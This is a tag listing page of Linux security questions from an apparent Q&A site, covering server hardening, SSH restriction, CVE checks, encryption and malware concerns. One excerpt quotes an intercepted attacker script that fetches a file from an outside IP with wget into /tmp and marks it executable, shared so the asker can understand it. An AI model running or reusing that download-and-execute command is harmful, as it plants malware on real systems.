Securing Linux systems and applications; understanding Linux security features.

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0
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2answers
263 views

How do I prove for my client that unused ports are closed and unused services are disabled?

I have seen advice that I need to close all unused ports, and disable any unused services in order to secure my servers. How can I prove, beyond any doubt, to my client that I have done this? I need ...
2
votes
3answers
2k views

How to detect the “Hello packets” sent by a wifi enabled smartphone

Actually I have a case where I should able to detect the mobile phones and get some data about the device available in my network range without connecting to the network. I have seen somewhere that a ...
-1
votes
1answer
693 views

how to stop people hacking a website build in cakephp with linux host [closed]

I have been wondering how to stop intrusion/hack in a website build in cakephp. The neccessities that I have done so far are updated framework strong password frequent password change removed ...
1
vote
1answer
165 views

How can I verify my machine is not vulnerable from a specific exploit?

I'm running Ubuntu 8.04 TLS linux 2.6.24-23, I find that CVE-2009-2692 which exploits by using sock_sendpage() null pointer dereference. It describes this exploit affects linux version prior to 2.6.31 ...
1
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1answer
604 views

Why does the linux XRDP module use a 512 bit RSA key? [closed]

Why does the linux XRDP module use a 512 bit RSA key? 512 bit RSA keys are broken by now. How can this be safe?
3
votes
1answer
1k views

How the shopkeepers are getting MAC address of wifi enabled smartphones

It is clear that some big mall's are tracking all the wifi enabled mobile phones before they are connected to the network..how can it been done? I have the similar issue.. how to get the MAC address ...
-1
votes
1answer
256 views

Linux security books [closed]

I am trying to find an updated book (preferably from 2012-2013) that can cover linux security aspects comprehensively. I searched on Amazon and found that most Linux security books are from back in ...
25
votes
4answers
19k views

What can an attacker do with Bluetooth and how should it be mitigated?

What are the security risks of Bluetooth and what technologies and best practices should be used to protect my device? What can an attacker do once a malicious device is paired with mine? ...
10
votes
2answers
7k views

How to get MAC addresses of devices which are not in the network

Can I get MAC addresses of devices (mobile phones) which are near to my network but not connected to it? (Linux) I have been trying to get the MAC addresses of devices connected to my network through ...
1
vote
4answers
528 views

What needs to be focused on when hardening a LAMP stack? [closed]

I have a site running on a VPS. I set up the LAMP stack and a few other programs personally. This is only the second time I have set up a VPS and I am a bit worried about security. Are there things ...
5
votes
3answers
178 views

Best approach for restricting remote ssh session

Using the following files, I have attempted to restrict the SSH remote login. Having lack of knowledge in linux environment, I don't know the drawbacks and vulnerabilities between the following ways. ...
12
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4answers
683 views

How to react when under attack

Just this week someone has been trying to attack the server of the company where I work. I have noticed that they have been trying to brute force root via ssh. fail2ban is handling that well and I ...
5
votes
5answers
650 views

HOWTO : Email encryption in a browser

I have read about encryption and I think it's a good idea for me to encrypt my email. I run ubuntu 12.10 and use Firefox for browsing. In my quest for learning how to use gmail/hotmail to send and ...
0
votes
1answer
305 views

MitM Attacks - Iptables?

I have looked for the answer to this question to no avail, apologies if I missed it. I would like to know how effective iptables would be against MitM attacks - in the following setup: ALLOW INPUT ...
11
votes
3answers
1k views

What does this sh script does if executed in a production environment

I could intercept what a possible attacker is trying to do on my website and he/she tried to execute this script: #!/bin/sh cd /tmp;cd /dev/shm wget -q http://221.132.37.26/xx -O ...x chmod +x ...x ...
2
votes
2answers
444 views

Can a Ubuntu live usb be infected with spyware/ virus?

I have a Ubuntu 13.10 live usb. I gave it to somebody so that he can install ubuntu. Now I have received it back. I was wondering if it is possible to infect a live usb with spyware or virus ? If yes, ...
3
votes
1answer
234 views

Does reinstalling ubuntu eliminates all existing rootkits/ malware/spyware/ virus etc?

If I do a fresh installation of ubuntu from an uninfected cd, will it remove all the existing rootkits/malwares/spywares/viruses etc if any ? Is formatting the hard disk required before reinstalling ...
0
votes
2answers
163 views

Debian missing security features?

Debian (stable) is a well respected server Linux distro. I was surprised to see that in their hardening walkthrough (https://wiki.debian.org/HardeningWalkthrough) they do not support position ...
1
vote
1answer
414 views

Why does Debian security guide recommend md5 hashed passwords?

I am reading the Debian Security How-To and came across a section that I found odd: it recommends to use md5 hashes for /etc/shadow passwords ...
3
votes
1answer
481 views

Bypass va_randomize_space and stack-protector

Is a program compiled with the GCC -fstack-protector option and running in a Linux environment with the va_randomize_space kernel variable set to 1, totally protected against buffer overflow attacks? ...
1
vote
0answers
52 views

Is CVE-2011-1571 fixed in tomcat?

I dont see any record of CVE-2011-1571 being fixed in tomcat based on ASF' security reports for tomcat itself. Usually they specify the CVE number and information about the fix. This was 3 years ago ...
0
votes
1answer
218 views

Secure installation of KVM VPS?

This question has also been asked on Server Fault, but was not taken seriously. I hope this is a better place for it I'm going to install Debian Wheezy on a KVM VPS. VNC access to console is enabled, ...
1
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0answers
28 views

Tracking checkins from generic users

Im trying to implement a better system to monitor checkins to our repository. We have some generic users everyone can use, I have recently disallowed them from checking in as those users however there ...
3
votes
2answers
407 views

How big is the threat of Desktop Linux malware? [closed]

Most malware one hears about on the news seems to fit into one of two categories: Windows viruses, trojans, rootkits etc. Linux server "worms", backdoors and similar How big is the threat of ...
3
votes
2answers
1k views

Alternatives to SELinux and AppArmor?

With SELinux developed by NSA and AppArmor by Novell [*], what alternate solutions exists when trying to lock down a system and running applications, based on ACL and similar concepts like Zones on ...
26
votes
3answers
7k views

Is it appropriate to use haveged as a source of entropy on virtual machines?

While looking for solutions to entropy pool depletion on virtual machines, I came across an interesting project called haveged, which is based on the HAVEGE algorithm (HArdware Volatile Entropy ...
2
votes
1answer
30 views

bin_random_table and RANDOM_BOOT_ID

The Linux kernel has a few sysctrl's related to random devices packaged in a bin_random_table (http://lxr.free-electrons.com/source/kernel/sysctl_binary.c?v=3.2): static const struct bin_table ...
1
vote
0answers
232 views

Linux Physical memory analysis using hexeditor for Forensics

I am about to forensics investigation of a linux physical memory. I have dumped an ARM Linux which the profile is not listed in Volatility, so I could find the process and the latest command using ...
0
votes
1answer
82 views

ensuring that compiled (and signed) packages don't contain malicious code

I would like to understand how the packaged Linux distributions (i.e. Debian) ensure that their packages don't contain any malicious code. I know that packages are signed, and that I can download the ...
0
votes
2answers
193 views

Proxy traffic via MITM script

I want to log and modify outbound traffic on a Linux machine. I currently have one program that sends requests out to the internet, I would like to process these requests and their responses via ...
3
votes
2answers
3k views

How secure is EncFS compared to TrueCrypt?

If I choose the paranoia option for EncFS and for TrueCrypt I create containers using the encryption algorithm AES-Twofish-Serpent and the Hash Algorithm Whirlpool. Are both methods equally secure, ...
0
votes
1answer
198 views

Removing Unnecessary Services & Packages in a MySQL Ubuntu 12.04 Server [closed]

As part of hardening a MySQL 5.6 server running on Ubuntu 12.04 LTS, unnecessary services and packages will have to be removed. For a server that is serving only as a MySQL server, what services and ...
0
votes
3answers
250 views

How to store user credentials like Mint.com [duplicate]

If you have a website that need to store user's credentials for other sites, how do you store those credentials securely? An example is Mint.com where you give them your username/password for your ...
-6
votes
1answer
117 views

How can mp3blaster vulnerability affect my linux OS? [closed]

Mp3blaster is a terminal mp3 player running a UNIX-like operating system, e.g. Linux, Free/Net/OpenBSD, etc. I usually use this player for playing my music, but yesterday I found a blog which claim ...
1
vote
1answer
81 views

Malware threats from other mounted hard drives

I am going to install Linux on an external hard drive and my internal hard drive is currently running Windows. When I boot to my Linux and I still have my windows hard drive mounted is it possible for ...
1
vote
0answers
62 views

How do I determine whether a Linux-based router still has the default password? [duplicate]

My goal is to check if the password used by admin is the default password. I work on a Linux-based router. I know the password is stored as a hashed value in /etc/passwd. In generic Linux machines, ...
1
vote
1answer
26 views

Is there an other place than the changelogs to see if a debian package is corrected or not?

I would like to know if there was an other place to see if a debian package is fixing a CVE than the changelog of the packet. For instance the packet bind9 1:9.7.2.dfsg.P3-1 is fixing the ...
0
votes
2answers
327 views

Isolating host machine from external network

How to prevent a host machine from sending/receiving packets with the following network configuration: eth0 - physical NIC :: not configured; tun0 - virtual NIC for VM which role is the gateway for ...
1
vote
1answer
443 views

How should IPSec be configured to provide a protection at least as good as my current Stunnel configuration?

In private network (as in using a private IP address space) at a cloud provider, other customers have access to the same private network. I have secured the communication between many hosts and ...
2
votes
1answer
120 views

DBus proxy Javascript binding issues

Recent Gnome-3 (under GNU/Linux, BSD or other Un*x) offer a gnome shell with nice presentation, but where the configuration and theming are to be done via Internet Browser (and a public URL, on a ...
0
votes
1answer
133 views

Do the Linux binary blobs contain any intentional security holes?

This question covers the risks of accepting Binary blobs in one's distribution. This may be a very paranoid conspiracy question. But considering all the topics regarding the NSA in 2013 one cannot ...
2
votes
2answers
1k views

CentOS for security testing?

I am a QA Engineer, but have been tasked with creating a security testing platform. I have many years with Backtrack/Kali and my primary OS are Arch and Ubuntu. The Systems guys here gave me a CentOS ...
10
votes
4answers
659 views

What would happen if one of the popular Linux repositories is hacked?

Even though most people consider downloading your Linux software from you own distribution's repositories as safe, thinking about the scenario where a repository gets hacked sounds thrilling. What ...
1
vote
1answer
71 views

How can I view the contents of a web page without running malicious code? [closed]

I received a strange email which has some strange URL in it. I would like to know what is "behind" the url, but without the risk of running anything malicious. How can see the contents of the URL, ...
3
votes
3answers
578 views

Protecting against Firewire DMA vulnerabilities in Linux

I know there have been questions on this in the past but they all seem quite outdated, or not that specifically relevant. I need to use a 1394(Firewire) connection, however am concerned with possible ...
-2
votes
1answer
974 views

Cascading Encryption Algorithm using mcrypt or GnuGP

I'm trying to a cascading cipher encryption algorithm to encrypt a textfile via mcrypt. I'm essentially trying to emulate the behavior of TrueCrypt, where it can cascade two or three different cipher ...
1
vote
0answers
210 views

Tools to perform benchmark of block/stream ciphers on Linux? [closed]

I would like to perform some benchmarking of different block and stream ciphers for general data (lossless and lossy data) encryption and decryption (with focus on power consumption). To get general ...
1
vote
1answer
330 views

How do I find out if I'm connecting to a spoofed server after getting “The authenticity of host [hostname] can't be estabilished”?

I've been SSHing into my VPS for months with no problems and this morning it returned this familiar message: The authenticity of host '[hostname]' can't be established. ECDSA key fingerprint is ...
3
votes
2answers
397 views

Disable local/KVM access on a Linux VPS (allow only SSH)

Friends of mine have previously had issues with VPS security. The security was no fault of the operating system/services themselves, but mainly due to the "Control Panel" that gets forced upon you ...
9
votes
4answers
3k views

nmap showing unknown IPs on private network

I had a go at scanning my home network with nmap, doing a 192.168.0.0/16 netscan. To my surprise, the results shown multiple live devices not only on 192.168.1.x (where all our known devices are) but ...